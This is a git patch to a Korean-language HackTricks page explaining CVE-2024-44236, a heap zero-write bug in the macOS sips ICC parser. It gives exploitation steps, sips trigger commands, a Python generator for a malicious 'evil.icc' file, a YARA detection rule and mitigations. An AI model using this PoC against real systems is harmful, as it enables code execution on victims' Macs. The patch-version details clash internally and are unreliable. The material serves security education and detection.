From af03d89797b698c7e55d396352ee1761c8ce04c0 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 04:27:50 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips --- .../aw2exec-sips-icc-profile.md | 96 ++++++++++++++----- 1 file changed, 70 insertions(+), 26 deletions(-) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index 09b1f642a..91aa03ce6 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -4,50 +4,94 @@ ## 개요 -Apple macOS Scriptable Image Processing System (`sips`) ICC 프로파일 파서에서 발생하는 경계 초과 쓰기 취약점 (macOS 15.0.1, sips-307)으로, `lutAToBType` (`mAB `) 및 `lutBToAType` (`mBA `) 태그의 `offsetToCLUT` 필드에 대한 부적절한 검증으로 인해 발생합니다. 조작된 ICC 파일은 힙 버퍼를 넘어 최대 16바이트까지 제로 쓰기를 유발하여 힙 메타데이터 또는 함수 포인터를 손상시키고 임의 코드 실행을 가능하게 합니다 (CVE-2024-44236). +Apple macOS **Scriptable Image Processing System** (`sips`) ICC 프로파일 파서에서 발생하는 **제로 쓰기** 취약점 (macOS 15.0.1, `sips-307`)은 공격자가 힙 메타데이터를 손상시키고 원시를 전체 코드 실행으로 전환할 수 있게 합니다. 이 버그는 `lutAToBType` (`mAB `) 및 `lutBToAType` (`mBA `) 태그의 `offsetToCLUT` 필드 처리에 있습니다. 공격자가 `offsetToCLUT == tagDataSize`로 설정하면, 파서는 **힙 버퍼의 끝에서 16바이트를 지웁니다**. 힙 스프레이링을 통해 공격자는 할당자 구조체나 나중에 역참조될 C++ 포인터를 제로화할 수 있으며, 이는 **임의 쓰기-실행** 체인 (CVE-2024-44236, CVSS 7.8)을 생성합니다. + +> Apple은 macOS Sonoma 15.2 / Ventura 14.7.1에서 이 버그를 패치했습니다 (2024년 10월 30일). 두 번째 변형 (CVE-2025-24185)은 2025년 4월 1일에 macOS 15.5 및 iOS/iPadOS 18.5에서 수정되었습니다. ## 취약한 코드 - -취약한 함수는 할당된 버퍼 내에 있는지 확인하지 않고 공격자가 제어하는 오프셋에서 시작하여 16바이트를 읽고 제로화합니다: ```c -// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1) -for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) { -if (i > numberOfInputChannels && buffer[i] != 0) -buffer[i] = 0; +// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1) +if (offsetToCLUT <= tagDataSize) { +// BAD ➜ zero 16 bytes starting *at* offsetToCLUT +for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++) +buffer[i] = 0; // no bounds check vs allocated size! } ``` -오직 `offsetToCLUT <= totalDataLength` 체크만 수행됩니다. `offsetToCLUT == tagDataSize`로 설정하면, 루프가 `buffer`의 끝에서 16바이트를 초과하여 인덱싱되어 인접한 힙 메타데이터가 손상됩니다. - ## Exploitation Steps -1. **악성 `.icc` 프로파일 작성:** -- 서명 `acsp`와 단일 `lutAToBType` 또는 `lutBToAType` 태그 항목으로 ICC 헤더(128바이트)를 빌드합니다. -- 태그 테이블에서 `offsetToCLUT`를 태그의 `size`(`tagDataSize`)와 같게 설정합니다. -- 힙 메타데이터를 덮어쓰도록 태그 데이터 블록 바로 뒤에 공격자가 제어하는 데이터를 배치합니다. -2. **파싱 트리거:** +1. **악성 `.icc` 프로파일 만들기** + +* 최소한의 ICC 헤더(`acsp`)를 설정하고 하나의 `mAB ` (또는 `mBA `) 태그를 추가합니다. +* 태그 테이블을 구성하여 **`offsetToCLUT`가 태그 크기(`tagDataSize`)와 같도록** 합니다. +* 태그 바로 뒤에 공격자가 제어하는 데이터를 배치하여 16개의 제로 쓰기가 할당자 메타데이터와 겹치도록 합니다. + +2. **프로파일을 건드리는 모든 sips 작업으로 파싱 트리거하기** ```bash -sips --verifyColor malicious.icc +# 검증 경로 (출력 파일 필요 없음) +sips --verifyColor evil.icc +# 또는 프로파일을 포함하는 이미지를 변환할 때 암묵적으로 +sips -s format png payload.jpg --out out.png ``` -3. **힙 메타데이터 손상:** OOB 제로 쓰기가 할당자 메타데이터 또는 인접 포인터를 덮어써서 공격자가 제어 흐름을 탈취하고 `sips` 프로세스의 컨텍스트에서 임의 코드 실행을 달성할 수 있게 합니다. +3. **힙 메타데이터 손상 ➜ 임의 쓰기 ➜ ROP** +Apple의 기본 **`nano_zone` 할당자**에서 16바이트 슬롯의 메타데이터는 정렬된 0x1000 슬랩 **바로 뒤에** 위치합니다. 프로파일의 태그를 그러한 슬랩의 끝에 배치함으로써 16개의 제로 쓰기가 `meta->slot_B`를 덮어씁니다. 이후 `free`가 발생하면, 오염된 포인터가 작은 자유 목록에 큐에 추가되어 공격자가 **임의 주소에 가짜 객체를 할당하고 sips에서 사용되는 C++ vtable 포인터를 덮어쓸 수 있게** 하며, 결국 악성 ICC 버퍼에 저장된 ROP 체인으로 실행을 전환합니다. +### 빠른 PoC 생성기 (Python 3) +```python +#!/usr/bin/env python3 +import struct, sys + +HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding) +TAGS = [(b'mAB ', 132, 52)] # one tag directly after header +profile = HDR +profile += struct.pack('>I', len(TAGS)) # tag count +profile += b''.join(struct.pack('>4sII', *t) for t in TAGS) + +mab = bytearray(52) # tag payload (52 bytes) +struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start) +profile += mab + +open('evil.icc', 'wb').write(profile) +print('[+] Wrote evil.icc (%d bytes)' % len(profile)) +``` +### YARA 탐지 규칙 +```yara +rule ICC_mAB_offsetToCLUT_anomaly +{ +meta: +description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)" +author = "HackTricks" +strings: +$magic = { 61 63 73 70 } // 'acsp' +$mab = { 6D 41 42 20 } // 'mAB ' +$mba = { 6D 42 41 20 } // 'mBA ' +condition: +$magic at 0 and +for any i in (0 .. 10): // up to 10 tags +( +($mab at 132 + 12*i or $mba at 132 + 12*i) and +uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size +) +} +``` ## Impact -성공적인 악용은 취약한 `sips` 유틸리티가 실행되는 macOS 시스템에서 사용자 권한으로 원격 임의 코드 실행을 초래합니다. +조작된 ICC 프로파일을 열거나 처리하면 호출하는 사용자의 컨텍스트에서 원격 **임의 코드 실행**이 발생하며(미리보기, QuickLook, Safari 이미지 렌더링, 메일 첨부파일 등), 프로파일이 그렇지 않은 무해한 이미지(PNG/JPEG/TIFF) 내부에 포함될 수 있기 때문에 Gatekeeper를 우회합니다. -## Detection +## Detection & Mitigation -- 일반 프로토콜(FTP, HTTP/S, IMAP, SMB, NFS, SMTP)에서 파일 전송을 모니터링합니다. -- 서명 `acsp`가 있는 전송된 파일을 검사합니다. -- 각 `mAB ` 또는 `mBA ` 태그에 대해 `Offset to CLUT` 필드가 `Tag data size`와 같은지 확인합니다. -- 이 조건이 충족되면 의심스러운 것으로 표시합니다. +* **패치!** 호스트가 macOS ≥ 15.2 / 14.7.1 (또는 iOS/iPadOS ≥ 18.1)을 실행하고 있는지 확인하십시오. +* 이메일 게이트웨이 및 EDR 솔루션에 위의 YARA 규칙을 배포하십시오. +* 신뢰할 수 없는 파일을 추가로 처리하기 전에 `exiftool -icc_profile= -overwrite_original `로 포함된 ICC 프로파일을 제거하거나 정리하십시오. +* 미지의 콘텐츠를 분석할 때 샌드박스화된 “투명성 및 현대화” VM 내에서 미리보기/QuickLook을 강화하십시오. +* DFIR의 경우, 통합 로그에서 샌드박스화된 앱에 의해 `sips --verifyColor` 또는 `ColorSync` 라이브러리 로드의 최근 실행을 찾으십시오. ## References -- ZDI 블로그: CVE-2024-44236: Apple macOS sips 유틸리티의 원격 코드 실행 취약점 -https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos -- Apple 2024년 10월 보안 업데이트 (CVE-2024-44236 패치 포함) -https://support.apple.com/en-us/121564 +* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” +https://www.zerodayinitiative.com/advisories/ZDI-24-1445/ +* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2” +https://support.apple.com/en-us/HT213981 {{#include ../../banners/hacktricks-training.md}}